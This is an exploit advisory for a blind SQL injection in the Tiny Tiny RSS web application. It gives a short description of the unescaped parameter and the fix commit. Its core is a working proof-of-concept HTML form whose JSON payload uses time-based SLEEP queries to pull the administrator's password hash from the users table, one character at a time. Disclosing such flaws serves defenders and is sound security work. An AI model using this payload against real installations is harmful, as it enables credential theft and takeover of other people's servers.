30 lines
No EOL
998 B
Text
30 lines
No EOL
998 B
Text
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
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# Date: 15-02-2016
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# Software Link: http://tt-rss.org/
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# Exploit Author: Kacper Szurek
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# Contact: http://twitter.com/KacperSzurek
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# Website: http://security.szurek.pl/
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# Category: webapps
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1. Description
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$item_id inside process_category_order() is not properly escaped.
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We control this value using $_POST['payload'].
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http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html
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2. Proof of Concept
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Login as regular user.
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<form method="post" action="http://tiny-tiny-rss/backend.php">
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<input type="hidden" name="op" value="pref-feeds">
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<input type="hidden" name="method" value="savefeedorder">
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<textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
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<input type="submit" value="Hack!">
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</form>
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3. Solution:
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Update to version a5556c2471973e292dce615fe0c77fdbbc54405b |